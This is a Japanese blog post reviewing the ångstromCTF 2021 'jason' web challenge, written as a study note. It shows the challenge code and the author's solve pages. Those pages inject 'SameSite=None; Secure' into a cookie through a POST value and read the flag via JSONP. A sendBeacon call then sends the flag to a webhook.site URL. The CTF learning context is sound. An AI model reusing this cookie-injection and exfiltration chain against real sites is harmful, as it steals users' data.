以下の内容はhttps://thinline196.hatenablog.com/entry/2021/04/12/202607より取得しました。


「復習」ångstromCTF jason

//

はじめに

作問者のwriteupを見て、備忘録・メモとして残してます。writeupが見たい方は本家のをどうぞ。

ångstromCTF 2021 solve scripts · GitHub

jason (web)

f:id:thinline196:20210408231134p:plain 問題コード一部

const puppeteer = require('puppeteer')
const fs = require('fs')

async function visit(url) {
    const browser = await puppeteer.launch({ args: ['--no-sandbox'] })
    var page = await browser.newPage()
    await page.goto(process.env.URL)
    await page.waitForSelector('input[value="CLEAR"]')
    for (let i = 0; i < process.env.PASSCODE.length; i++) {
        await Promise.all([
            page.waitForNavigation(),
            page.click(`input[value="${process.env.PASSCODE[i]}"]`)
        ])
    }
    await page.goto(url, { waitUntil: 'networkidle2' })
    await page.close()
    await browser.close()
}

module.exports = { visit }
app.post('/passcode', function (req, res) {
    if (req.body.passcode === 'CLEAR') res.append('Set-Cookie', 'passcode=')
    else res.append('Set-Cookie', `passcode=${(req.cookies.passcode || '')+req.body.passcode}`)
    return res.redirect('/')
})

app.post('/visit', async function (req, res) {
    if (req.body.site.startsWith('http')) try {await jason.visit(req.body.site) } catch (e) {console.log(e)}
    return res.redirect('/')
})


app.get('/flags', sameOrigin, function (req, res) {
    if (req.cookies.passcode !== process.env.PASSCODE) return res.sendStatus(403)
    res.jsonp({category: 'flags', items: [process.env.FLAG]})
})

トップの数字を入力するとcookiepasscodeとして値が登録されていく。adminに踏ませたいサイトを入力フォームから指定できる。jsonpを使うところまではわかったんですが、cookieがクロスドメインなアクセスだと付与されないので、ただ単にfetchしただけではだめでした。


cookieが付与される様子。

POST /passcode HTTP/1.1
Host: jason.2021.chall.actf.co
Origin: https://jason.2021.chall.actf.co
...snip...

passcode=1


HTTP/1.1 302 Found
Location: /
Set-Cookie: passcode=1
...snip...

writeup

引用元;ångstromCTF 2021 solve scripts · GitHub

# jason_1.html
<script>
function load (data) {
    navigator.sendBeacon('https://webhook.site/6c038598-9475-4805-8bbb-36ffef233c88', data.items[0])
}
if (!localStorage.done) {
    w = window.open('jason_2.html')
    setInterval(function () {
        try { w.location.href }
        catch (e) { localStorage.done = true; location.reload() }
    }, 10)
}
</script>
<script referrerpolicy="no-referrer" src="https://jason.2021.chall.actf.co/flags?callback=load"></script>
# jason_2.html
<form action="https://jason.2021.chall.actf.co/passcode" method="post" id="form">
    <input type="hidden" name="passcode" value="; SameSite=None; Secure">
</form>
<script>form.submit()</script>

次のコンテンツを自サーバで公開して、adminにふませる。/passcodeへのアクセスで付与されるcookieは特に属性が指定されていないのでSameSite=Laxが指定されます。これは、トップレベルナビゲーションでのアクセスでは、クロスサイトなドメインへのcookie送信が可能な状況にあるようです。

SameSite cookies - HTTP | MDN

アドレスバーに表示されているURLの変更が伴う遷移のことです(リクエストを送信したら、送信先のページに画面が遷移する場合)

引用:HTTP クッキーをより安全にする SameSite 属性について (Same-site Cookies) – ラボラジアン Cookie の性質を利用した攻撃と Same Site Cookie の効果 | blog.jxck.io

Popup Windowなどはトップレベルナビゲーションとなると書いてありますが、恐らくjason_2.htmlのPOSTでそのwindow.open('jason_2.html')で開いたページが遷移するので、上記の解説を鵜呑みにして良いのであれば、このPOSTがトップレベルナビゲーションとなるのでしょう(多分)

問題の肝は、/passcodeにPOSTしたデータがそのままcookieの末尾に付与される点。SameSite=None; Secureとすることで、クロスオリジンなリクエストでもcookieが付与されるようになります。つまり、jason_1.htmlからのfetchでもcookieが付与されるようになるので、/flagへのリクエストでフラグが返されてきます。あとはjsonpで自分のたてているサーバなどにあたいを送って終了のようです。


SameSite=None; Secureに関してはこちら。

SameSite Frequently Asked Questions (FAQ) - The Chromium Projects

今回上手くまとめられなかった




以上の内容はhttps://thinline196.hatenablog.com/entry/2021/04/12/202607より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14